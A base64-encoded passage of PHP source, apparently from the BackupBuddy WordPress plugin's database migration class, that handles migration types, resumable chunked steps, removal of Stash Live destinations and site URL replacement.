Yl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdNaWdyYXRpbmcgZGF0YWJhc2UgY29udGVudC4uLicgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZXN0aW5hdGlvbiBzaXRlIHRhYmxlIHByZWZpeDogJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCApOwoKCQlpZiAoICcnID09ICR0aGlzLT5yZXN0b3JlRGF0YVsnaG9tZXVybCddICkgeyAvLyBJZiBubyBob21lIHRoZW4gd2Ugc2V0IGl0IGVxdWFsIHRvIHNpdGUgVVJMLgoJCQkkc2V0dGluZ3NbJ2hvbWV1cmwnXSA9ICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddOwoJCX0KCgkJLy8gU291cmNlIHR5cGUuIFZhbGlkIHZhbHVlczogbmV0d29yaywgbXVsdGlzaXRlX2V4cG9ydCAoc2luZ2xlIHNpdGUgZXhwb3J0ZWQgZnJvbSBtdWx0aXNpdGUgbmV0d29yayksIHN0YW5kYWxvbmUuCgkJaWYgKCBpc3NldCggJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnaXNfbXVsdGlzaXRlJ10gKSAmJiAoIHRydWUgPT09ICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ2lzX211bHRpc2l0ZSddIHx8ICd0cnVlJyA9PT0gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnaXNfbXVsdGlzaXRlJ10gKSApIHsKCQkJJHRoaXMtPnNvdXJjZVR5cGUgICAgICA9ICdtdWx0aXNpdGVfbmV0d29yayc7CgkJCSR0aGlzLT5kZXN0aW5hdGlvblR5cGUgPSAnbXVsdGlzaXRlX25ldHdvcmsnOwoJCX0gZWxzZWlmICggaXNzZXQoICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ2lzX211bHRpc2l0ZV9leHBvcnQnXSApICYmICggdHJ1ZSA9PT0gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnaXNfbXVsdGlzaXRlX2V4cG9ydCddIHx8ICd0cnVlJyA9PT0gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnaXNfbXVsdGlzaXRlX2V4cG9ydCddICkgKSB7CgkJCSR0aGlzLT5zb3VyY2VUeXBlID0gJ211bHRpc2l0ZV9leHBvcnQnOwoJCX0gZWxzZSB7CgkJCSR0aGlzLT5zb3VyY2VUeXBlID0gJ3N0YW5kYWxvbmUnOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTWlncmF0aW9uIHR5cGU6IGAnIC4gJHRoaXMtPnNvdXJjZVR5cGUgLiAnYCB0byBgJyAuICR0aGlzLT5kZXN0aW5hdGlvblR5cGUgLiAnYC4nICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGVzdGluYXRpb24gU2l0ZSBVUkw6ICcgLiAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Rlc3RpbmF0aW9uIEhvbWUgVVJMOiAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWydob21ldXJsJ10gKTsKCgl9IC8vIEVuZCBfX2NvbnN0cnVjdCgpLgoKCS8qKgoJICogSGFuZGxlIHRoZSBtaWdyYXRpb24KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUuIEFsd2F5cyByZXR1cm5zIHRydWUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBtaWdyYXRlKCkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0aW5nIG1pZ3JhdGUoKSBvZiBkYXRhYmFzZS4nICk7CgkJJHRoaXMtPm1pZ3JhdGVDb21tb24oKTsgLy8gTXVzdCBydW4gYmVmb3JlIGFueSBvdGhlciBzdGVwcywgZWFjaCBjaHVuaywgdG8gY2FsY3VsYXRlIFVSTHMgZXRjLgoKCQlpZiAoIGlzX2FycmF5KCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZVJlc3VtZVN0ZXBzJ10gKSApIHsgLy8gUmVzdW1pbmcgc28gdXNlIGV4aXN0aW5nIHN0ZXBzIGxpc3QuCgkJCSRzdGVwcyA9ICYkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZVJlc3VtZVN0ZXBzJ107CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1Jlc3VtaW5nIG1pZ3JhdGUoKSBzbyB1c2luZyBzdG9yZWQgcmVzdW1lIHN0ZXBzLicgKTsKCQl9IGVsc2UgeyAvLyBOb3QgcmVzdW1pbmcgc28gYnVpbGQgc3RlcHMgbGlzdC4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTm90IHJlc3VtaW5nIHNvIGJ1aWxkaW5nIG1pZ3JhdGUgc3RlcCBsaXN0LicgKTsKCQkJLy8gTWlncmF0ZSBhbnl0aGluZyBjb21tb24gdG8gYWxsIHR5cGVzLgoJCQkvLyAkc3RlcHMgPSBhcnJheSggJ21pZ3JhdGVDb21tb24nICk7CgkJCS8vIE1pZ3JhdGUgTmV0d29yayAtPiBOZXR3b3JrLgoJCQlpZiAoICdtdWx0aXNpdGVfbmV0d29yaycgPT0gJHRoaXMtPnNvdXJjZVR5cGUgJiYgJ211bHRpc2l0ZV9uZXR3b3JrJyA9PSAkdGhpcy0+ZGVzdGluYXRpb25UeXBlICkgewoJCQkJJHN0ZXBzW10gPSAnbWlncmF0ZU5ldHdvcmtUb05ldHdvcmsnOwoJCQl9CgkJCS8vIFN0YW5kYWxvbmUgLT4gTXVsdGlzaXRlIEltcG9ydC4KCQkJaWYgKCAnc3RhbmRhbG9uZScgPT0gJHRoaXMtPnNvdXJjZVR5cGUgJiYgJ211bHRpc2l0ZV9pbXBvcnQnID09ICR0aGlzLT5kZXN0aW5hdGlvblR5cGUgKSB7CgkJCQkkc3RlcHNbXSA9ICdtaWdyYXRlU3RhbmRhbG9uZVRvTXVsdGlzaXRlSW1wb3J0JzsKCQkJfQoJCQkvLyBNdWx0aXNpdGUgRXhwb3J0IC0+IE11bHRpc2l0ZSBJbXBvcnQuCgkJCWlmICggJ211bHRpc2l0ZV9leHBvcnQnID09ICR0aGlzLT5zb3VyY2VUeXBlICYmICdtdWx0aXNpdGVfaW1wb3J0JyA9PSAkdGhpcy0+ZGVzdGluYXRpb25UeXBlICkgewoJCQkJJHN0ZXBzW10gPSAnbWlncmF0ZU11bHRpc2l0ZUltcG9ydFRvTXVsdGlzaXRlRXhwb3J0JzsKCQkJfQoJCQkvLyBNdWx0aXNpdGUgRXhwb3J0IC0+IFN0YW5kYWxvbmUuCgkJCWlmICggJ211bHRpc2l0ZV9leHBvcnQnID09ICR0aGlzLT5zb3VyY2VUeXBlICYmICdzdGFuZGFsb25lJyA9PSAkdGhpcy0+ZGVzdGluYXRpb25UeXBlICkgewoJCQkJJHN0ZXBzW10gPSAnbWlncmF0ZU11bHRpc2l0ZUV4cG9ydFRvU3RhbmRhbG9uZSc7CgkJCX0KCQkJJHN0ZXBzW10gPSAnX2NhbGN1bGF0ZU5ld09sZFVSTHMnOwoJCQkkc3RlcHNbXSA9ICdicnV0ZUZvcmNlVGFibGVzJzsKCQkJJHN0ZXBzW10gPSAnZmluYWxpemUnOwoJCQkkc3RlcHNbXSA9ICd2ZXJpZnlEYXRhYmFzZSc7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdGVwcyB0byBydW46IGAnIC4gaW1wbG9kZSggJywnLCAkc3RlcHMgKSAuICdgLicgKTsKCgkJZm9yZWFjaCAoIChhcnJheSkgJHN0ZXBzIGFzICRzdGVwICkgewoJCQkkcmVzdW1lUG9pbnQgPSAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZVJlc3VtZVBvaW50J107CgkJCSR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0YWJhc2VTZXR0aW5ncyddWydtaWdyYXRlUmVzdW1lUG9pbnQnXSA9ICcnOyAvLyBDbGVhciBvdXQgbmVlZGluZyB0byByZXN1bWUgZm9yIG5vdy4KCgkJCS8vIFJ1biB0aGUgZnVuY3Rpb24uCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0aW5nIHN0ZXAgYCcgLiAkc3RlcCAuICdgLicgKTsKCQkJJHJlc3VsdHMgPSBjYWxsX3VzZXJfZnVuYyggYXJyYXkoICR0aGlzLCAkc3RlcCApLCAkcmVzdW1lUG9pbnQgKTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmluaXNoZWQgc3RlcCBgJyAuICRzdGVwIC4gJ2AuJyApOwoKCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0cyApIHsgLy8gU3VjY2VzcyBzbyBtb3ZlIHRvIG5leHQgbG9vcC4KCQkJCWFycmF5X3NoaWZ0KCAkc3RlcHMgKTsgLy8gU2hpZnRzIHN0ZXAgb2ZmIHRoZSBmcm9udCBvZiB0aGUgYXJyYXkuCgkJCQlpZiAoICEgaXNfYXJyYXkoICRzdGVwcyApICkgewoJCQkJCSRzdGVwcyA9IGFycmF5KCk7CgkJCQl9CgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgbWlncmF0aW9uIHN0ZXAgYCcgLiAkc3RlcCAuICdgIGZpbmlzaGVkIHN1Y2Nlc3NmdWxseS4nICk7CgoJCQkJaWYgKCAkdGhpcy0+bmVhclRpbWVMaW1pdCgpICkgewoJCQkJCXJldHVybiBhcnJheSggJHN0ZXBzLCAnJyApOyAvLyBhcnJheSBvZiByZW1haW5pbmcgc3RlcHMsIG5vIHJlc3VtZSBwb2ludCBzaW5jZSBub3Qgd2l0aGluIGEgZnVuY3Rpb24uCgkJCQl9CgoJCQkJLy8gRG8gbm90aGluZy4uLiB3aWxsIGp1c3QgY29udGludWUgdG8gbmV4dCBzdGVwLgoJCQl9IGVsc2VpZiAoIGlzX2FycmF5KCAkcmVzdWx0cyApICkgeyAvLyBORUVEUyBDSFVOS0lORy4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ01pZ3JhdGluZyB0aGUgZGF0YWJhc2UgZGlkIG5vdCBjb21wbGV0ZSBpbiB0aGUgZmlyc3QgcGFzc3MuIENodW5raW5nIGludG8gbXVsdGlwbGUgcGFydHMuIFJlc3VtaW5nIHN0ZXAgYCcgLiAkc3RlcCAuICdgIHNob3J0bHkgYXQgcG9pbnQgYCcgLiBwcmludF9yKCBhcnJheSggJHN0ZXBzLCAkcmVzdWx0c1swXSApLCB0cnVlICkgLiAnYC4nICk7CgkJCQlyZXR1cm4gYXJyYXkoICRzdGVwcywgJHJlc3VsdHNbMF0gKTsgLy8gQXJyYXkgb2Ygc3RlcHMgdG8gcnVuLCByZXN1bWUgcG9pbnQuCgkJCX0gZWxzZSB7IC8vIEZBTFNFIG9yIHNvbWV0aGluZyB3ZWlyZC4uLgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0RhdGFiYXNlIG1pZ3JhdGlvbiBzdGVwIGAnIC4gJHN0ZXAgLiAnYCBmYWlsZWQuIFNlZSBsb2cgZm9yIGRldGFpbHMuIFJlc3VsdDogYCcgLiAkcmVzdWx0cyAuICdgLicgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0gLy8gZW5kIGZvcmVhY2guCgoJCSR0aGlzLT5kaXNjb25uZWN0TGl2ZSgpOwoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdUb29rICcgLiByb3VuZCggbWljcm90aW1lKCB0cnVlICkgLSBwYl9iYWNrdXBidWRkeTo6JHN0YXJ0X3RpbWUsIDMgKSAuICcgc2Vjb25kcy4gRG9uZS4nICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnRGF0YWJhc2UgY29udGVudCBtaWdyYXRlZC4nICk7CgoJCXJldHVybiB0cnVlOwoJfSAvLyBFbmQgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKS4KCgkvKioKCSAqIERpc2Nvbm5lY3RzIGFueSBTdGFzaCBMaXZlIGRlc3RpbmF0aW9uLgoJICoKCSAqIEByZXR1cm4gbnVsbCAgQWx3YXlzIHJldHVybnMgbnVsbC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGRpc2Nvbm5lY3RMaXZlKCkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NoZWNraW5nIGZvciBhbnkgU3Rhc2ggTGl2ZSBkZXN0aW5hdGlvbnMgbmVlZGluZyBkaXNjb25uZWN0ZWQuJyApOwoJCWdsb2JhbCAkd3BkYjsKCgkJLy8gR2V0IEJhY2t1cEJ1ZGR5IG9wdGlvbnMuCgkJJGZpbmFsUHJlZml4ID0gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICR0aGlzLT5maW5hbFByZWZpeCApOwoJCSRyZXN1bHQgICAgICA9ICR3cGRiLT5nZXRfdmFyKCAiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIGB7JGZpbmFsUHJlZml4fW9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdwYl9iYWNrdXBidWRkeScgTElNSVQgMSIgKTsKCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnVW5hYmxlIHRvIHJldHJpZXZlIHBiX2JhY2t1cGJ1ZGR5IG9wdGlvbnMgZnJvbSBkYXRhYmFzZS4gU2tpcHBpbmcgZGlzY29ubmVjdExpdmUoKS4nICk7CgkJCXJldHVybjsKCQl9CgoJCS8vIFVuc2VyaWFsaXplLgoJCSRyZXN1bHQgPSBAdW5zZXJpYWxpemUoICRyZXN1bHQgKTsKCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDb3VsZCBub3QgdW5zZXJpYWxpemUgcmV0cmlldmVkIG9wdGlvbnMgZGF0YS4gU2tpcHBpbmcgZGlzY29ubmVjdExpdmUoKS4nICk7CgkJCXJldHVybjsgLy8gQ291bGQgbm90IHVuc2VyaWFsaXplLgoJCX0KCgkJLy8gQ2hlY2sgdGhhdCByZW1vdGUgb3B0aW9ucyBleGlzdHMgYW5kIGlzIHZhbGlkLgoJCWlmICggISBpc3NldCggJHJlc3VsdFsncmVtb3RlX2Rlc3RpbmF0aW9ucyddICkgfHwgISBpc19hcnJheSggJHJlc3VsdFsncmVtb3RlX2Rlc3RpbmF0aW9ucyddICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1JlbW90ZSBkZXN0aW5hdGlvbnMgbm90IGZvdW5kIG9yIG5vdCBhcnJheS4gU2tpcHBpbmcgZGlzY29ubmVjdExpdmUoKS4nICk7CgkJCXJldHVybjsKCQl9CgoJCS8vIExvb2sgZm9yIGEgTGl2ZSBkZXN0aW5hdGlvbiAmIGRlbGV0ZSBpdC4KCQlmb3JlYWNoICggJHJlc3VsdFsncmVtb3RlX2Rlc3RpbmF0aW9ucyddIGFzICRpID0+ICRyZW1vdGVfZGVzdGluYXRpb24gKSB7CgkJCWlmICggJ2xpdmUnID09ICRyZW1vdGVfZGVzdGluYXRpb25bJ3R5cGUnXSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZvdW5kIFN0YXNoIExpdmUgZGVzdGluYXRpb24uIFJlbW92aW5nLicgKTsKCQkJCXVuc2V0KCAkcmVzdWx0WydyZW1vdGVfZGVzdGluYXRpb25zJ11bICRpIF0gKTsKCQkJfQoJCX0KCgkJLy8gUmUtc2VyaWFsaXplLgoJCSRyZXN1bHQgPSBzZXJpYWxpemUoICRyZXN1bHQgKTsKCgkJLy8gU2F2ZSBvcHRpb25zIGJhY2suCgkJJHdwZGItPnF1ZXJ5KCAiVVBEQVRFIGB7JGZpbmFsUHJlZml4fW9wdGlvbnNgIFNFVCBvcHRpb25fdmFsdWU9JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJHJlc3VsdCApIC4gIicgV0hFUkUgb3B0aW9uX25hbWU9J3BiX2JhY2t1cGJ1ZGR5JyBMSU1JVCAxIiApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ01vZGlmaWVkICcgLiAkd3BkYi0+cm93c19hZmZlY3RlZCAuICcgcm93KHMpIHdoaWxlIHVwZGF0aW5nIHBiX2JhY2t1cGJ1ZGR5IGluIG9wdGlvbnMgdGFibGUuJyApOwoJCWlmICggISBlbXB0eSggJHdwZGItPmxhc3RfZXJyb3IgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsIGVycm9yOiAnIC4gJHdwZGItPmxhc3RfZXJyb3IgKTsKCQl9CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RvbmUgY2hlY2tpbmcgZm9yIGFueSBTdGFzaCBMaXZlIGRlc3RpbmF0aW9ucyBuZWVkaW5nIGRpc2Nvbm5lY3RlZC4nICk7Cgl9IC8vIEVuZCBkaXNjb25uZWN0TGl2ZSgpLgoKCgkvKioKCSAqIENoZWNrcyBpZiByZWFjaGluZyBleGVjdXRpb24gdGltZSBsaW1pdC4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIElmIG5lYXIgdGltZSBsaW1pdCBvciBub3QuCgkgKi8KCWZ1bmN0aW9uIG5lYXJUaW1lTGltaXQoKSB7CgkJaWYgKCAnLTEnID09ICR0aGlzLT5yZXN0b3JlRGF0YVsnbWF4RXhlY3V0aW9uVGltZSddICkgeyAvLyBJZiAtMSB0aGVuIHNraXAgY2h1bmtpbmcgbW9kZS4KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQkvLyBJZiB3ZSBhcmUgd2l0aGluIDEgc2Vjb25kIG9mIHJlYWNoaW5nIG1heGltdW0gUEhQIHJ1bnRpbWUgdGhlbiBzdG9wIGhlcmUgc28gdGhhdCBpdCBjYW4gYmUgcGlja2VkIHVwIGluIGFub3RoZXIgUEhQIHByb2Nlc3MuLi4KCQlpZiAoICggKCBtaWNyb3RpbWUoIHRydWUgKSAtICR0aGlzLT5zdGFydFRpbWUgKSArIHNlbGY6OlRJTUVfV0lHR0xFX1JPT00gKSA+PSAkdGhpcy0+cmVzdG9yZURhdGFbJ21heEV4ZWN1dGlvblRpbWUnXSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnTmVhcmluZyBsaW1pdCBvZiBhdmFpbGFibGUgUEhQIGNodW5raW5nIHRpbWUgb2YgYCcgLiAkdGhpcy0+cmVzdG9yZURhdGFbJ21heEV4ZWN1dGlvblRpbWUnXSAuICdgIHNlYy4gUmFuIGZvciAnIC4gcm91bmQoIG1pY3JvdGltZSggdHJ1ZSApIC0gJHRoaXMtPnN0YXJ0VGltZSwgMyApIC4gJyBzZWMuJyApOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJfQoKCS8qKgoJICogTUFLRSBPTEQgVVJMUyBVTklRVUUgQU5EIFRSSU1NSU5HIENPUlJFU1BPTkRJTkcgTkVXIFVSTFMKCSAqCgkgKiBUaGlzIGVudGlyZSBzZWN0aW9uIGlzIGluIHBsYWNlIHRvIHByZXZlbnQgZHVwbGljYXRlIHJlcGxhY2VtZW50cy4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUuIEFsd2F5cyByZXR1cm5zIHRydWUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfY2FsY3VsYXRlTmV3T2xkVVJMcygpIHsKCQkkdW5pcXVlX3VybHMgICA9ICR0aGlzLT5fYXJyYXlfcGFpcnNfdW5pcXVlX2ZpcnN0KCAkdGhpcy0+b2xkVVJMcywgJHRoaXMtPm5ld1VSTHMgKTsKCQkkdGhpcy0+b2xkVVJMcyA9ICR1bmlxdWVfdXJsc1swXTsKCQkkdGhpcy0+bmV3VVJMcyA9ICR1bmlxdWVfdXJsc1sxXTsKCgkJJHVuaXF1ZV91cmxzICAgICAgICAgID0gJHRoaXMtPl9hcnJheV9wYWlyc191bmlxdWVfZmlyc3QoICR0aGlzLT5vbGRGdWxsUmVwbGFjZSwgJHRoaXMtPm5ld0Z1bGxSZXBsYWNlICk7CgkJJHRoaXMtPm9sZEZ1bGxSZXBsYWNlID0gJHVuaXF1ZV91cmxzWzBdOwoJCSR0aGlzLT5uZXdGdWxsUmVwbGFjZSA9ICR1bmlxdWVfdXJsc1sxXTsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnT2xkIFVSTHM6ICcgLiBpbXBsb2RlKCAnLCAnLCAkdGhpcy0+b2xkVVJMcyApICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTmV3IFVSTHM6ICcgLiBpbXBsb2RlKCAnLCAnLCAkdGhpcy0+bmV3VVJMcyApICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnT2xkIGZ1bGwgcmVwbGFjZTogJyAuIGltcGxvZGUoICcsICcsICR0aGlzLT5vbGRGdWxsUmVwbGFjZSApICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTmV3IGZ1bGwgcmVwbGFjZTogJyAuIGltcGxvZGUoICcsICcsICR0aGlzLT5uZXdGdWxsUmVwbGFjZSApICk7CgoJCXJldHVybiB0cnVlOwoJfQoKCS8qKgoJICogQ29tbW9uIG1pZ3JhdGlvbiBzdGVwcyBmb3IgYWxsIHNpdGVzCgkgKgoJICogQHJldHVybiBib29sICBUcnVlLiBBbHdheXMgcmV0dXJucyB0cnVlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gbWlncmF0ZUNvbW1vbigpIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdGFydGluZyBtaWdyYXRpb24gc3RlcHMgZm9yIGBhbGxgIHNpdGVzLicgKTsKCgkJJG9sZF9hYnNwYXRoID0gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnYWJzcGF0aCddOwoJCSRuZXdfYWJzcGF0aCA9IEFCU1BBVEg7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQUJTUEFUSCBjaGFuZ2UgZm9yIGRhdGFiYXNlLiBPbGQgUGF0aDogJyAuICRvbGRfYWJzcGF0aCAuICcsIE5ldyBQYXRoOiAnIC4gJG5ld19hYnNwYXRoIC4gJy4nICk7CgoJCSRvbGRfdXJsID0gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnc2l0ZXVybCddOyAgLy8gdGhlIHZhbHVlIHlvdSB3YW50IHRvIHNlYXJjaCBmb3IuCgoJCS8vIFNpdGVVUkwuCgkJaWYgKCBzdHJpc3RyKCAkb2xkX3VybCwgJ2h0dHA6Ly93d3cuJyApIHx8IHN0cmlzdHIoICRvbGRfdXJsLCAnaHR0cHM6Ly93d3cuJyApICkgeyAvLyBJZiBodHRwOi8vd3d3LmJsYWguLi4uIHRoZW4gYWxzbyB3ZSB3aWxsIHJlcGxhY2UgaHR0cDovL2JsYWguLi4gYW5kIHZpY2UgdmVyc2EuCgkJCSRvbGRfdXJsX2FsdCA9IHN0cl9pcmVwbGFjZSggJ2h0dHA6Ly93d3cuJywgJ2h0dHA6Ly8nLCAkb2xkX3VybCApOwoJCQkkb2xkX3VybF9hbHQgPSBzdHJfaXJlcGxhY2UoICdodHRwczovL3d3dy4nLCAnaHR0cHM6Ly8nLCAkb2xkX3VybF9hbHQgKTsKCQl9IGVsc2UgewoJCQkkb2xkX3VybF9hbHQgPSBzdHJfaXJlcGxhY2UoICdodHRwOi8vJywgJ2h0dHA6Ly93d3cuJywgJG9sZF91cmwgKTsKCQkJJG9sZF91cmxfYWx0ID0gc3RyX2lyZXBsYWNlKCAnaHR0cHM6Ly8nLCAnaHR0cHM6Ly93d3cuJywgJG9sZF91cmxfYWx0ICk7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDYWxjdWxhdGVkIHNpdGUgVVJMIHVwZGF0ZS4gUHJldmlvdXMgVVJMOiBgJyAuICRvbGRfdXJsIC4gJ2AsIE5ldyBVUkw6IGAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWydzaXRldXJsJ10gLiAnYC4nICk7CgkJJHRoaXMtPm9sZEZ1bGxSZXBsYWNlID0gYXJyYXkoICRvbGRfdXJsLCAkb2xkX3VybF9hbHQgKTsKCQlpZiAoICcvJyAhPSAkb2xkX2Fic3BhdGggKSB7IC8vIE9ubHkgZG8gcmVwbGFjZSBvbiBhYnNwYXRoIGlmIGl0IHdhcyBub3QgcHJldmlvdXNseSBhdCB0aGUgcm9vdCBhcyB0aGlzIGVhc2lseSBicmVha3MgdGhpbmdzLgoJCQkkdGhpcy0+b2xkRnVsbFJlcGxhY2VbXSA9ICRvbGRfYWJzcGF0aDsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICdXQVJOSU5HOiBTa2lwcGluZyBBQlNQQVRIIGRhdGFiYXNlIG1pZ3JhdGlvbnMgYXMgdGhlIHByZXZpb3VzIEFCU1BBVEggd2FzIGluIHRoZSByb290IGRpcmVjdG9yeS4gQ2Fubm90IHNhZmVseSB1cGRhdGUgcGF0aHMgYXQgdGhpcyBsb2NhdGlvbiBkbyBpdCBvbmx5IGJlaW5nIGEgc2luZ2xlIHNsYXNoLicgKTsKCQl9CgkJJHRoaXMtPm5ld0Z1bGxSZXBsYWNlID0gYXJyYXkoICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddLCAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSApOwoJCWlmICggJy8nICE9ICRvbGRfYWJzcGF0aCApIHsgLy8gT25seSBkbyByZXBsYWNlIG9uIGFic3BhdGggaWYgaXQgd2FzIG5vdCBwcmV2aW91c2x5IGF0IHRoZSByb290IGFzIHRoaXMgZWFzaWx5IGJyZWFrcyB0aGluZ3MuCgkJCSR0aGlzLT5uZXdGdWxsUmVwbGFjZVtdID0gJG5ld19hYnNwYXRoOwoJCX0KCgkJLy8gSE9NRVVSTC4KCQlpZiAoICR0aGlzLT5yZXN0b3JlRGF0YVsnaG9tZXVybCddICE9ICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ3NpdGV1cmwnXSApIHsgLy8gT2xkIGFuZCBuZXcgaG9tZXVybCBkaWZmZXIgc28gbmVlZHMgdXBkYXRpbmcuCgoJCQlpZiAoIGVtcHR5KCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWydob21ldXJsJ10gKSApIHsgLy8gb2xkIEJhY2t1cEJ1ZGR5IHZlcnNpb25zIGRpZCBub3Qgc3RvcmUgdGhlIHByZXZpb3VzIGhvbWV1cmwuIEhhbmcgb250byB0aGlzIGZvciBiYWNrd2FyZHMgY29tcGF0aWJpbGl0eSBmb3IgYSB3aGlsZS4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdZb3VyIGN1cnJlbnQgYmFja3VwIGRvZXMgbm90IGluY2x1ZGUgYSBob21lIFVSTC4gSG9tZSBVUkxzIHdpbGwgTk9UIGJlIHVwZGF0ZWQ7IHNpdGUgVVJMIHdpbGwgYmUgdXBkYXRlZCB0aG91Z2guICBNYWtlIGEgbmV3IGJhY2t1cCB3aXRoIHRoZSBsYXRlc3QgQmFja3VwQnVkZHkgYmVmb3JlIG1pZ3JhdGluZyBpZiB5b3Ugd2lzaCB0byBmdWxseSB1cGRhdGUgaG9tZSBVUkwgY29uZmlndXJhdGlvbi4nICk7CgkJCX0gZWxzZSB7CgkJCQkkdGhpcy0+b2xkVVJMcyA9IGFycmF5KCAkb2xkX3VybCwgJG9sZF91cmxfYWx0LCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWydob21ldXJsJ10gKTsKCQkJCSR0aGlzLT5uZXdVUkxzID0gYXJyYXkoICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddLCAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSwgJHRoaXMtPnJlc3RvcmVEYXRhWydob21ldXJsJ10gKTsKCgkJCQkkdGhpcy0+b2xkRnVsbFJlcGxhY2VbXSA9ICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ2hvbWV1c